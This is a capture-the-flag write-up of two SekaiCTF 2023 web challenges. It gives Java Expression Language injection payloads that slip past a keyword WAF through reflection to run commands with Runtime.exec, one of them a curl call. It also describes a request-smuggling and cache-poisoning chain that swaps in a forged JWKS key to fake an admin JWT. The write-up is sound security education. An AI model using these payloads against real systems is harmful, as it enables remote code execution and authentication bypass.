SekaiCTF is a Capture The Flag event hosted by Team Project Sekai, with some hardcore members of CTF Community.
Web challenges were fun. Worked in 3, solved 2.
Challenge: Frog-WAF (29 solves)
That was a hell of a teamwork with Regne, Rafael, Natã and Alisson.
First-Look
In this challenge, you are presented with a Contact List. After adding, it shows the contacts on the top of the page.
Looks like some typical XSS challenge, but there is no bot involved, so it’s something else.
We can use the source-code of the challenge to run locally.
$ ./build-docker.sh
Sending build context to Docker daemon 949.2kB
Step 1/12 : FROM gradle:7.5-jdk11-alpine AS build
---> 90b77c8e5ac0
Step 2/12 : COPY --chown=gradle:gradle build.gradle settings.gradle /home/gradle/frogwaf/
... BUNCH OF LINES
Successfully built a688b08fada6
Successfully tagged sekai_web_waffrog:latest
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/////////@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@////////*************@@@@@@@@@@@////////*************(@@@@@@@@
@@@@@@@@@@@@@@@/////*****************************/////********************@@@@@@
@@@@@@@@@@@@@////*///%%%(//////#%#/****************************////%%///*,%%@@@@
@@@@@@@@@@@@////%%////,,,,,,.....,,,%***********************///%//,,,,...,,,%@@@
@@@@@@@@@@@///#%///,,,,,,,,%&/,,,,.,,#********************///%//,,,,,,&&/ &&*%@@
@@@@@@@@@@///%%///,,,,&&&&&&% &&&,,,,%******************///%//,,,,&&&&&&&&&&%@@
@@@@@@@@/////%///*,,&&&&&&&&&&&&&&&,,,%*****************///%//*,,,&&&&&&&&&&&%@@
@@@@@@@/////(%////,,,&&&&&&&&&&&&(,,,,%*****************///%///,,,,,,&&&&&,,%%@@
@@@@@@///////%%////,,,,,,,,,,,,,,,,,,%****************..*//%%///,,,,,,,,,,(%&@@@
@@@@//////////%%%////,,,,,,,,,,,,,,%/*****************,..*//%%/////,,,,/%%//@@@@
@@@//////////////%%%%/////////(%%#/********************...**//#%%%%%%%%//**/*@@@
@@/////*********///////////////**************************....***************//@@
@@/////*************************************(/********(((****,.*************//(@
@@/////**.(*******************************.(((********.((.****************//(,@@
@@/////*,.((/*****************************..*************,*************//((,..@@
@@@////***(*,,,((//*************************************************//((,,...@@@
@@@@////**,,,...,,,,(((////**************************,....****///(((,,,....%@@@@
@@@@@@///**,,,......,,,,,,,(((((/////////**********////////(((*,,,,.......@@@@@@
@@@@@@@///*,,,,...........,,,,,,,,,,,,,/((((((((((((,,,,,...,,...........@@@@@@@
@@@@@@@@@///,,,,....................,,,,,,,,,,,,,,,,,,.................@@@@@@@@@
@@@@@@@@@@@//,,,,,..................................................,@@@@@@@@@@@
@@@@@@@@@@@@@#/,,,,,..............................................,%@@@@@@@@@@@@
@@@@@@@@@@@@@@@@/,,,,,,........................................,,@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@%,,,,,,,.................................,,,(@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,.......................,,,,,%@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
2023-09-03 15:41:10.974 INFO 1 --- [ main] com.sekai.app.Application : Starting Application on 5ee0fb50de34 with PID 1 (/opt/frogwaf/frogwaf-0.0.1-SNAPSHOT.jar started by app in /)
... ANOTHER BUNCH OF LINES
2023-09-03 15:48:53.574 INFO 1 --- [nio-1337-exec-1] o.s.web.servlet.DispatcherServlet : Completed initialization in 18 ms
Now, the app is available on http://localhost:1337.
(Judging by the last CTFs I played, hackers are relly addicted to frogs).
Code Analysis - Dockerfile
First place to look here is the Dockerfile.
FROM gradle:7.5-jdk11-alpine AS build
COPY --chown=gradle:gradle build.gradle settings.gradle /home/gradle/frogwaf/
COPY --chown=gradle:gradle src/ /home/gradle/frogwaf/src/
WORKDIR /home/gradle/frogwaf
RUN gradle bootJar
FROM openjdk:11-slim
COPY flag.txt /flag.txt
RUN mv /flag.txt /flag-$(head -n 1000 /dev/random | md5sum | head -c 32).txt
RUN addgroup --system --gid 1000 app && adduser --system --group --uid 1000 app
COPY --chown=app:app --from=build /home/gradle/frogwaf/build/libs/*.jar /opt/frogwaf/
USER app
ENTRYPOINT ["java", "-jar", "/opt/frogwaf/frogwaf-0.0.1-SNAPSHOT.jar"]
Dockerfile Summary
- Java 11 WebApp
- Flag is in the root directory
- Flag has a random filename suffix
- We must be able to list files in the root dir
- We must be able to read files on the root dir
- Usually, this is an RCE challenge
In my local container:
$ docker exec -it sekai_web_waffrog bash -c "ls -l flag*"
-rw-rw-r-- 1 root root 17 Aug 16 16:09 flag-453b00d5b87528dc7324eb2e93c709b5.txt
The name is generated at build-time, so it’s different on the actual challenge server.
Code Analysis - Controller
There is a lot of files, so I won’t go into details in everyone. Let’s see some important files:
// ... Java verbosities
@Getter
@Setter
@Entity
public class Contact {
@Id
@GeneratedValue
private Long id;
@NotNull
@Pattern(regexp = "^[A-Z][a-z]{2,}$")
private String firstName;
@NotNull
@Pattern(regexp = "^[A-Z][a-z]{2,}$")
private String lastName;
@NotNull
@Pattern(regexp = "^[A-Z][a-z]{2,}$")
private String description;
@NotNull
@CheckCountry
private String country;
}
Contact Summary
- Restrictive Regex validation for most data fields.
- Custom validation for Country field.
// ... Java verbosities
@Target({FIELD, METHOD, PARAMETER, ANNOTATION_TYPE, TYPE_USE})
@Retention(RUNTIME)
@Constraint(validatedBy = CountryValidator.class)
@Documented
@Repeatable(CheckCountry.List.class)
public @interface CheckCountry {
String message() default "Invalid country";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
@Target({FIELD, METHOD, PARAMETER, ANNOTATION_TYPE})
@Retention(RUNTIME)
@Documented
@interface List {
CheckCountry[] value();
}
}
CheckCountry Summary
A lot of things, but the important is the line below:
@Constraint(validatedBy = CountryValidator.class)
Which takes us to the last piece of important code for now.
// ... Java verbosities
public class CountryValidator implements ConstraintValidator<CheckCountry, String> {
@SneakyThrows
@Override
public boolean isValid(final String input, final ConstraintValidatorContext constraintContext) {
if (input == null) {
return true;
}
val v = FrogWaf.getViolationByString(input);
if (v.isPresent()) {
val msg = String.format("Malicious input found: %s", v);
throw new AccessDeniedException(msg);
}
val countries = StreamUtils.copyToString(new ClassPathResource("countries").getInputStream(), Charset.defaultCharset()).split("\n");
val isValid = Arrays.asList(countries).contains(input);
if (!isValid) {
val message = String.format("%s is not a valid country", input);
constraintContext.disableDefaultConstraintViolation();
constraintContext.buildConstraintViolationWithTemplate(message)
.addConstraintViolation();
}
return isValid;
}
}
CountryValidator Summary
- We get our WAF validation (we will check it later).
- We took a lot of time to find the first attack point, but Regne found it.
The vulnerable code is the line below:
constraintContext.buildConstraintViolationWithTemplate(message).addConstraintViolation();
The buildConstraintViolationWithTemplate method processes Java EL. Since we can control part of the message variable, it is basically a Template Injection for us.
Payload - The Basics
To make it simpler, let’s make some valid Payloads, except for the Country, which is our attack surface.
I don’t remember how we got that message
was a variable interpreted in the EL.
Let’s test some payloads on /addContact
route.
- Payload
{ "firstName":"Hey", "lastName":"You", "description":"Abc", "country":"{message}" }
- Response:
{ "violations": [ { "fieldName": "country", "message": "Invalid country is not a valid country" } ] }
Invalid country
is the default return value of the message
method on the CheckCountry.java interface.
By using the dollar sign, we start to play better games using our message
variable.
- Payload
{ "firstName":"Hey", "lastName":"You", "description":"Abc", "country":"${message.getClass().toString()}" }
- Response:
{ "violations": [ { "fieldName": "country", "message": "class java.lang.String is not a valid country" } ] }
Nice. So, let’s just use EL to get RCE using the Runtime class, right? Wait A Freaking minute…
Code Analysis - WAF
Now is the time we arrive on the challenge name, which is the WAF. Let’s take a look at the WAF request Interceptor.
// ... Java verbosities
@Configuration
@Order(Integer.MIN_VALUE)
public class FrogWaf implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object obj) throws Exception {
// Uri
val query = request.getQueryString();
if (query != null) {
val v = getViolationByString(query);
if (v.isPresent()) {
throw new AccessDeniedException(String.format("Malicious input found: %s", v));
}
}
return true;
}
public static Optional<WafViolation> getViolationByString(String userInput) {
for (val c : AttackTypes.values()) {
for (val m : c.getAttackStrings()) {
if (userInput.contains(m)) {
return Optional.of(new WafViolation(c, m));
}
}
}
return Optional.empty();
}
}
WAF Summary
The getViolationByString
function checks if a string contains a violation of the WAF.
It is used when validating the Country.
The preHandle
function checks the queryString, but it is useless for solving the challenge.
Let’s check the WAF rules.
// ... Java verbosities
public enum AttackTypes {
SQLI("\"", "'", "#"),
XSS(">", "<"),
OS_INJECTION("bash", "&", "|", ";", "`", "~", "*"),
CODE_INJECTION("for", "while", "goto", "if"),
JAVA_INJECTION("Runtime", "class", "java", "Name", "char", "Process", "cmd", "eval", "Char", "true", "false"),
IDK("+", "-", "/", "*", "%", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
@Getter
private final String[] attackStrings;
AttackTypes(String... attackStrings) {
this.attackStrings = attackStrings;
}
}
WAF Filters Summary
OK, now we got a really restrictive filter for a lot of kinds of attacks. Let’s check our previous payload using some of the forbidden keywords.
Payload
${".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
Response
Malicious input found: Optional[WafViolation(attackType=SQLI, attackString=")]
The reponse comes as HTML, because we’re blocked by the WAF. Let’s make it a little simpler:
Payload
${java.lang.Runtime}
Response
Optional[WafViolation(attackType=JAVA_INJECTION, attackString=Runtime)]
Some words shall not be spoken.
Bypassing the Java WAF - bit by bit
- Building blocks
Although the WAF blocks a lot of important keywords and chars, it allows us some basic important chars:
- Parentheses:
()
- Dot:
.
- Brackets:
[]
- Words outside the blacklist:
lang, size, ..
- WAF is also case-sensitive (we didn’t need it, but could help)
We have to build from here, using Java Reflection, but it gives us a lot of powers.
- Key Classes
First of all, two classes will help us get the rest:
java.lang.String
(showed in the first payload)java.lang.Class
To get the Class, we just need another getClass():
Payload
${message.getClass().getClass().toString()}
Response
class java.lang.Class is not a valid country
- Numbers
We can avoid a lot of basic strings, but we really need numbers. We came out with a simple (but verbose) solution, using array sizes.
Payload
${[null, null, null, null].size()}
Response
4 is not a valid country
- Dynamic Methods -> Class.forName
We can call dynamic methods from classes using the getMethods
method and acessing them by their index.
For finding classes by name to instantiate, we would like to use the Class.forName method, but the for
and Name
strings are blocked.
Since forName is the 2nd method of Class, we call get the method by Index.
Payload
${message.getClass().getClass().getMethods()[[null, null].size()]}
Response
public static java.lang.Class java.lang.Class.forName(java.lang.String) throws java.lang.ClassNotFoundException is not a valid country
We had to loop through some classes methods to find the right indexes. Using this same concept, we can call the substring method, from the String class we already have access.
- Strings - Part 1
As with numbers, we need strings to compose our calls (like class names for the Class.forName call). We can’t just send strings, because single and double quotes are blocked. We need some existing strings.
At first we have the message
variable, but we don’t have enough of the alphabet in there.
It gets complex here to summarize, but let’s try.
Since we can navigate on all methods and fields from classes java.lang.String
and java.lang.Class
, and convert their names to String, we can use the substring on them to get most of the alphabet.
To do it, we first built a dicionary of substring origins to compose strings.
Since the plus-sign is also blocked, we can use String.concat
to make the magic.
It would be something like that (“simplified” version):
message.getClass().getMethods()[12].toString().substring(12,1).concat(message.getClass().getMethods()[14].toString().substring(40,1))
…
- Strings - Part 2
Now we don’t have all ASCII table, but we have enough alphabet to use java.lang.Character.toString(int char)
.
That would be something like that to get ASC A
:
Class.forName("java.lang.Character").getMethods()[5].invoke(null, 65)
We can write a complete string generator, with any char, bypassing WAF restrictions.
Now we can instantiate any class and call any methods, with any strings and numbers as parameters.
Running commands
We can compose the components to use java.lang.Runtime
to RCE. The plan is to use something like that below.
${message.getClass().forName("java.lang.Runtime").getRuntime().exec("ls")}
We need to also read the result of the command, so we have to compose the result of the read (assuming 1-line result, to simplify):
${
new BufferedReader(
new InputStreamReader(
message.getClass().forName("java.lang.Runtime").getRuntime().exec("ls -l").getInputStream()
)
).readLine();
}
When calling ls -l
, we got the first line.
total 68 is not a valid country
This is the number of files in the /
directory.
RCE is here. Almost there.
Get the Flag!
For a reason I didn’t know at challenge time, commands with some special bash characters (*
, |
) were not working. Since the flag name is random, we need to find it.
Rafael came out with a find
by permission to get just the flag file name in the first result line.
find / -maxdepth 1 -type f -perm 0664
Result:
/flag-7662fe897b3335f35ff4c3c81b9e6371.txt
Now, let’s just cat it (locally):
SEKAI{7357_fl46} is not a valid country
On the challenge server:
SEKAI{0h_w0w_y0u_r34lly_b34t_fr0g_wAf_c0ngr4ts!!!!}
Fun for the whole CTF Family!
Takeaways
The solution could be probably simpler on the Java side. For reading the process output, I could maybe read all of the output in one function, without all of the Java usual bullshiting.
I heard later that Runtime class has some issues with special characters we need for bash. I don’t know details yet, but that explains why we couldn’t just get the flag in a simpler way.
Java has some cool modern stuff, but I only know it from darker times.
Also the final payload got huge! (120k chars) I saw a much smaller one (24k chars) on Discord.
Just saw the official solution and I think we got somewhat close :) Their solution for numbers was MUCH better.
Challenge: Chunky (16 solves)
The source-code of the challenge is also available here, so you can follow it locally.
First-Look
We basically create posts here and we can see the post content on a URL with the format:
http://localhost:8080/post/<user_uuid>/<post_uuid>
On my sample:
http://localhost:8080/post/0c0b30cf-3d4b-470c-8486-e90ef9d6a778/ffce8a86-652c-4c70-88bb-afa6e182301e
This is not an XSS challenge, so we will look for a more direct attack.
The post itself is just a boring concatenation of the title with the content.
Architecture
- We only have access to the Cache Layer
- It’s a Golang App.
- Caches contents, except for the Flag.
- There is an nginx as the upstream for the cache
- The Python App is the upstream for the nginx
Flag Location - Admin
Let’s find our objective here: the flag is available only on the blog app. Since there is a lot of code, I wont go into details, but there is a /admin
path that we need to understand:
from flask import Blueprint, request, session
import os
import jwt
import requests
admin_bp = Blueprint("admin", __name__, url_prefix="/admin")
jwks_url_template = os.getenv("JWKS_URL_TEMPLATE")
valid_algo = "RS256"
def get_public_key_url(user_id):
return jwks_url_template.format(user_id=user_id)
def get_public_key(url):
resp = requests.get(url)
resp = resp.json()
key = resp["keys"][0]["x5c"][0]
return key
def has_valid_alg(token):
header = jwt.get_unverified_header(token)
algo = header["alg"]
return algo == valid_algo
def authorize_request(token, user_id):
pubkey_url = get_public_key_url(user_id)
if has_valid_alg(token) is False:
raise Exception(
"Invalid algorithm. Only {valid_algo} allowed!".format(
valid_algo=valid_algo
)
)
pubkey = get_public_key(pubkey_url)
print(pubkey, flush=True)
pubkey = "-----BEGIN PUBLIC KEY-----\n{pubkey}\n-----END PUBLIC KEY-----".format(
pubkey=pubkey
).encode()
decoded_token = jwt.decode(token, pubkey, algorithms=["RS256"])
if "user" not in decoded_token:
raise Exception("user claim missing!")
if decoded_token["user"] == "admin":
return True
return False
@admin_bp.before_request
def authorize():
if "user_id" not in session:
return "User not signed in!", 403
if "Authorization" not in request.headers:
return "No Authorization header found!", 403
authz_header = request.headers["Authorization"].split(" ")
if len(authz_header) < 2:
return "Bearer token not found!", 403
token = authz_header[1]
if not authorize_request(token, session["user_id"]):
return "Authorization failed!", 403
@admin_bp.route("/flag")
def flag():
return os.getenv("FLAG")
The /admin/flag
give us the flag, but the price is an Authorization header with JWT token. This token should be signed with a private RSA key, which we don’t have.
The public key for decoding is available for us at the URL:
http://localhost:8080/any_string/.well-known/jwks.json
The any_string
is supposed to be a user uuid, but it does not validate it.
{
"keys": [
{
"alg": "RS256",
"x5c": [
"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqwbbx3Ih7YDR+GB9kX+3\nZ/MXkVyj0Bs+E1rCph3XyAEDzft5SgK/xq4SHO48RKl+M17eJirDOnWVvHqnjxyC\nig2Ha/mP+liUBPxNRPbJbXpn9pmbYLR/7LIUvKizL9fYdYyQnACLI1OdAD/PKLjQ\nIAUGi6a8L37VQOjmf6ooLOSwKdNq/aM4eFpciKNZ3gO0YMc6SC17Jt/0L9aegxqt\nVwEXQou1/yisLuzEY6LmKEbTXuX9oSVFzd/FXi2xsLrD4nqI/HAiRoYnK1gAeglw\nF23h8Hc8jYoXgdZowt1+/XuDPfHKsP6f0MLlDaJAML2Ab6fJk3B1YkcrAZap4Zzu\nAQIDAQAB"
]
}
]
}
OK, the public key is there, but we can’t do nothing to use it.
Some things to note here:
- It gets the validation public key from the same public URL above (with our logged user id). It works as an Authorization Server.
- The flag Authorization is separated the autentication session, which uses a cookie.
- To get the flag, we must call
/admin/flag
, with an Authorization Header that will decode successfully.
Request Smugling
After many years of guys like you hacking stuff, modern HTTP servers have many security protections, but you can’t expect that from small custom projects. That is the cause for our cache server.
When you have multiple web servers working in a chained fashion, we can try a Request Smuggling approach.
I wont explain that in details because it will never get better than guys at PortSwigger did on the link above.
If you want to learn even more, I suggest reading the excellent Request Smuggling research articles from PortSwigger research, mostly by the master-hacker-defcon-talker James Kettle a.k.a. albinowax.
To summarize: the custom cache uses the Content-Length
header to know the size of the post. The HTTP specification says that Transfer-Encoding
is prioritized over Content-Length
, but our custom cache just ignored that.
(And now we know why the name of the challenge is Chunky
)
Nice, we can smuggle requests…
Cache Poisoning
One of the options available with Request Smuggling is Cache Poisoning.
While smuggling the second request (B)
inside the first one (A)
, the backend tries to send the (B)
response, but the font-end does not read it, because it is supposed to have sent the complete answer.
When we send a third request (C)
, the front-end send it to the backend, but receives the response from (B)
, which is still enqueued!
If the front-end is a cache - our scenario - it caches the content of (B)
for the URL of (C)
.
OK, let’s try it prettier.
Since this concept may be hard to follow, let’s follow the flow on the numbers.
If you look as vertices 4 and 9, we have our first desync: cache sends 1 request, but nginx understands that as 2.
That will result, later, in the vertex 16, where the answer to /post/C
will be the response of /post/B
that is waiting to be written to the socket from nginx.
That means, future GETs to post C will get the content of B.
But… we still need to use it to get the flag.
JWKS Spoofing
Since we have a plan to control the contents of some URLs through Cache Poisoning, we can poison our user JWKS URL with a controlled content.
Now we can use a kind of JWKS Spoofing, creating a post content with the same format of the JWKS from the app, but using a public key from a pair created by us :)
Let’s view the same diagram again, but with this plan in mind.
Now we have a plan.
Exploiting
The exploit has some basic functions to signup
, login
and create_post
, that we will need in the attack.
We generated the key-pair local_key3 and local_key3.pub, that we will use to poison our JWKS URL.
3 files that compose the templates of the requests that we will send, as in the Diagram:
desync1.txt
==POST A
- Note that it have both the
Content-Length
andTransfer-Encoding
headers, that will cause our desync.
- Note that it have both the
desync2.txt
==GET /post/<user_uuid>/<post_uuid_of_poisoned_jwks>
- We will put here a request to the user content with our fake JWKS.
desync3.txt
==GET /user_uuid/.well-known/jwks.json
- That is the legitimate URL that we will poison, with the contents of the previous GET
The complete workflow of the final exploit is:
- Sign Up new User (command-line argument)
- Login with new User
- Create a POST with the content of the injected JWKS Public Key.
- Perform the Desync Attack to Poison the Cache with pub key in (3).
- Test the poisoned cache URL (just for fun)
- Generate our Token with keys from (3)
- Call the
/admin/flag
with the token from (6) - Close your eyes and pray to Crom and Mitra
Run!!
$ python attack.py nep500
===== SIGNUP
/login
===== LOGIN
/
===== POST
URL: /post/e8b30077-4b64-4582-8027-f3bf17b679c1/3d1121b4-02e8-4976-bb47-53787c4b2d96
USER_ID: e8b30077-4b64-4582-8027-f3bf17b679c1
POST_ID: 3d1121b4-02e8-4976-bb47-53787c4b2d96
===== DESYNC!!
[+] Opening connection to localhost on port 8080: Done
===============> First Response (Expect Error 400)
b'<!doctype html>\n<html lang=en>\n<title>Redirecting...</title>\n<h1>Redirecting...</h1>\n<p>You should be redirected automatically to the target URL: <a href="/post/e8b30077-4b64-4582-8027-f3bf17b679c1/9a3fc219-5c92-45d2-9800-efb517f61799">/post/e8b30077-4b64-4582-8027-f3bf17b679c1/9a3fc219-5c92-45d2-9800-efb517f61799</a>. If not, click the link.\n'
===============> End of First Response
===============> Second Response (Expect Fake Key)
b'{"keys": [{"alg": "RS256", "x5c": ["MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoRX6bRm8JoyCYxmWkhMw\\nlK9qdgcINZ7oy9jFNtsa0o+2vIafzsLKpVL3CbRgqQua1I6k1QXsXAS8/FDnTOHb\\nJ8HiJcl6xv//cohwkzKriYzWNF9o0bKl6S2WsAoEuVpB4HDD0kHYHZZsyAwVbHvv\\nNqlrndrYMlhSWLzXD3VK6w7OIMIC3reE7Urlf5oMVA1D8KOcVfuEBcXyb1yYVSnC\\n9Jy2NIGcZD0mlq3zekhR86ex08QqX5DSZ0djVZQIIH0f7JtiU9rM1UZCek+iVTQO\\n6aBs+wHojv2DkM/4AYblDUVUTO3+kgJlJEzIzgUjhTrcNL4Xi+nEKl3Go2Qs4nvH\\n/wIDAQAB\\n-----END PUBLIC KEY-----"]}]}\n'
===============> End of Second Response
==========
===== Test Poisoned Cache!!
200
{"keys": [{"alg": "RS256", "x5c": ["MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoRX6bRm8JoyCYxmWkhMw\nlK9qdgcINZ7oy9jFNtsa0o+2vIafzsLKpVL3CbRgqQua1I6k1QXsXAS8/FDnTOHb\nJ8HiJcl6xv//cohwkzKriYzWNF9o0bKl6S2WsAoEuVpB4HDD0kHYHZZsyAwVbHvv\nNqlrndrYMlhSWLzXD3VK6w7OIMIC3reE7Urlf5oMVA1D8KOcVfuEBcXyb1yYVSnC\n9Jy2NIGcZD0mlq3zekhR86ex08QqX5DSZ0djVZQIIH0f7JtiU9rM1UZCek+iVTQO\n6aBs+wHojv2DkM/4AYblDUVUTO3+kgJlJEzIzgUjhTrcNL4Xi+nEKl3Go2Qs4nvH\n/wIDAQAB\n-----END PUBLIC KEY-----"]}]}
==========
200
SEKAI{1337}
On the actual challenge server we got:
SEKAI{tr4nsf3r_3nc0d1ng_ftw!!}
Takeaways
Really fun challenge from a subject I was studying the concepts but never took to practice. It may get a lot counter-intuitive, but the challenge help me understand this scenario much better.
References
- Team: FireShell
- Team Twitter
- Follow me too :) @NeptunianHacks
- Hacktricks - RCE with Expression Language
- Java Insecure Bean Validation
- WAF
- Java Reflection
- Request Smuggling
- Cache Poisoning
- JWKS Spoofing
- Repo with artifacts discussed here
- Team Project Sekai
- SEKAI CTF 2023 - Official Challenges and Solutions